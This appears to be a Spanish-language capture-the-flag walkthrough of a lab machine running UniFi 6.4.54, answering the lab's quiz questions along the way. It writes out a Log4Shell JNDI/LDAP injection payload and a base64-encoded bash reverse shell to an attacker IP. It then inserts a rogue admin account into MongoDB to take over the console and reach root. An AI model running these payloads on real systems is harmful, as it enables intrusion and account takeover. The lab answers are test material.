Abierto, consulte la primera pregunta
P: ¿Qué puertos están abiertos?
Respuesta: 22,6789,8080,8443
use directamente el siguiente comando para iniciar el escaneo
nmap -sV -Pn 10.129.58.25
La segunda pregunta:
P: ¿Cuál es el nombre de la aplicación con el número de puerto más grande?
Respuesta: red UniFI. Puedes acceder directamente con el puerto, recuerda usar https://
La tercera pregunta:
P: ¿Qué versión del software se está ejecutando?
Respuesta: Según la imagen de arriba, podemos saber que es 6.4.54
Cuarta pregunta:
P: ¿Cuál es el número de la vulnerabilidad?
Respuesta: cve-2021-44228. Estaba perdido cuando pregunté. Finalmente, busqué la pregunta sobre este campo de tiro en Baidu y luego encontré este artículo: https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire -unifi
Cuando lo abres, puedes encontrar que este artículo es en realidad la respuesta a este dron objetivo. Sabiendo que esta máquina de destino es una vulnerabilidad de log4j y luego escalando los derechos, entonces es el número de log4j.
Quinta pregunta:
P: ¿Cuál es la versión de maven que instalamos?
Respuesta: 3.6.3. Consulte las siguientes operaciones por motivos específicos.
Pregunta 6:
P: ¿Qué protocolo utiliza JDNI en la inyección?
Respuesta: ldap
Pregunta 7:
P: ¿Qué herramientas se utilizan para saber que nuestro ataque fue exitoso?
Respuesta: tcpdump. Responder a esta pregunta requiere el inicio oficial de las pruebas del sitio.
Primero, de acuerdo con la dirección IP obtenida anteriormente (la IP en mi lugar cambió porque la máquina de destino se reinició), acceda a:
https://10.129.17.119:8443
Saltará a la siguiente interfaz de inicio de sesión, iniciará sesión en
el cuadro de inicio de sesión, luego capturará el paquete y luego lo enviará al repetidor. El nombre de usuario y la contraseña son opcionales, pero la parte de recordar se modifica a:
${jndi:ldap://10.10.14.187/o=tomcat}
Recuerda cambiar la IP a la tuya.
Luego, vea si nuestra carga útil solicita que nuestro host recuerde. Primero, monitoree la tarjeta de red de la ip vpn obtenida localmente para ver si se solicita.
sudo tcpdump -i tun0
La tarjeta de red en este lugar debe basarse en su situación real. Puede saber qué tarjeta de red es ejecutando ifconfig directamente.
Luego reproduzca los paquetes de datos en burpsuite, puede ver que la tarjeta de red local ha recibido la información
Esto muestra que la máquina de destino tiene una vulnerabilidad log4j.
La pregunta aquí es, ¿por qué tienes que usar tcpdump en lugar de nc? La primera es que no sabemos el número de puerto, que también es el problema de la siguiente pregunta. El siguiente paso es saber el número de puerto, y la información recibida es distorsionada.Puedes intentarlo.
Octava pregunta:
P: ¿En qué puerto necesitamos verificar el tráfico?
Respuesta: 389, porque este es el puerto de ldap.
Hasta ahora, hemos verificado que la máquina de destino tiene lagunas. A continuación, debemos realizar gethel de acuerdo con la laguna de log4j y escalar el derecho para obtener la clave.
Para obtener el shell a través de la vulnerabilidad log4j, se requiere el siguiente script:
https://github.com/veracode-research/rogue-jndi
Instalamos el script y construimos el servidor con los siguientes comandos
git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package
La siguiente interfaz parece indicar que la compilación está completa (tenga en cuenta que es posible que maven deba instalarse solo en este lugar, y también es lento obtenerlo con git,Una vez que descargue maven, puede obtener maven versión 3.6.3 por mvn -version, que es la respuesta a la sexta pregunta)
Luego, en la línea de comando, codifique en base64 el script para obtener el shell, preste atención para reemplazarlo con su propia dirección IP
echo 'bash -c bash -i >&/dev/tcp/10.10.14.53/4444 0>&1' | base64
Luego use java para completar el base64 generado anteriormente en el siguiente comando, y recuerde reemplazarlo con su propia dirección
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuNTMvNDQ0NCAwPiYxCg==}|{base64,-d}|{bash,-i}" --hostname "10.10.14.53"
Aparece la siguiente interfaz para indicar que la operación fue exitosa
Escuche localmente en el puerto 4444
nc -lnvp 4444
Vuelva a enviarlo en burpsuite, preste atención a la solicitud enviada, la ip en recuerdo debe ser su propia ip, mi lugar cambió nuevamente porque reinicié la máquina de destino nuevamente.
En este momento, nc obtendrá el shell de la máquina de destino y el usuario es unif. El funcionamiento general de los pasos anteriores es el siguiente:
luego actualice a un shell interactivo para facilitar el siguiente paso .
script /dev/null -c bash
Continúe mirando la pregunta, la novena
pregunta: ¿En qué puerto se ejecuta mongodb?
Respuesta: 27117, use el siguiente comando para ver
ps aux | grep mongo
La décima pregunta:
P: ¿Cuál es el nombre de base de datos predeterminado de unifi?
Respuesta: as, puede encontrarlo, consulte: https://erikdekker.net/ubiquity/unifi/2020/05/09/reset-unifi-password.html. Este enlace también es una guía para hacer los siguientes temas.
Después de conocer el nombre de usuario, podemos conectarnos a la base de datos a través de la terminal
mongo --port 27117 ace
Ingreso exitoso a la base de datos.
Mire la undécima pregunta:
P: ¿Cuál es la función para enumerar todos los usuarios de la base de datos?
Respuesta: db.admin.find(). Los resultados de la ejecución son los siguientes: La
duodécima pregunta:
P: ¿Cuál es la función de agregar datos en mongodb?
Respuesta: db.admin.insert()
La decimotercera pregunta:
P: ¿Cuál es la función de actualizar datos en mongodb?
Respuesta: db.admin.update()
Después de las dos preguntas anteriores, probablemente podamos adivinar que la idea detrás es actualizar la contraseña del usuario con más privilegios y luego ir al fondo de unifi para ver.
Antes de agregar un usuario, primero debemos generar nuestra propia contraseña, use el siguiente comando para generarla, recuerde que la contraseña es la última y reemplácela con la nuestra.
mkpasswd -m sha-512 pilgrim
Luego ingresamos la contraseña y el nombre de usuario
db.admin.insert({ "email" : "[email protected]", "last_site_name" : "default", "name" : "unifi-admin", "time_created" : NumberLong(100019800), "x_shadow" : "$6$tVIuEdsp/Y4m8DBy$Dw6.glWpTSPKyxICzmNy.sSrJ9.EXzTsWbK8mKHd8z5njxPwZOi9pcGYgIjI0Ee./JFnES17WMLGexOiABG6m0" })
Se puede ver que la ejecución es exitosa, luego busque a todos los usuarios y luego obtenga el ID de objeto del usuario que acaba de agregar.
db.admin.find().forEach(printjson);
Consulta los datos de los usuarios de la web
db.site.find().forEach(printjson);
Vincule el usuario que insertamos a este sitio web, donde admin_id es la identificación del usuario agregado por nosotros mismos, y site_id es la identificación obtenida anteriormente
db.privilege.insert({ "admin_id" : "623f071e1ab0487109299461", "permissions" : [ ], "role" : "admin", "site_id" : "61ce269d46e0fb0012d47ec4" });
La siguiente ejecución es exitosa
. Luego, vaya a la página de inicio de sesión en segundo plano para iniciar sesión en la cuenta en este momento. Recuerde que el nombre de la cuenta es unifi-admin, y la contraseña es la contraseña que estableció usted mismo. Este lugar tomará mucho tiempo, espere, intente cambiar algunos navegadores más. La contraseña de root se puede conocer en la configuración de la siguiente manera:
NotACrackablePassword4U2022
Aquí está la respuesta a la decimocuarta pregunta.
ssh directamente en el pasado, de hecho es un permiso de root,
así que vaya directamente a la bandera.
cat /root/root.txt #root账户的flag
cat /home/michael/user.txt #用户的flag
terminó
Referenciado a:
https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi
https://www.youtube.com/watch?v=NLf1xzdlfCE
https://erikdekker.net /ubiquity /unifi/2020/05/09/restablecer-unifi-contraseña.html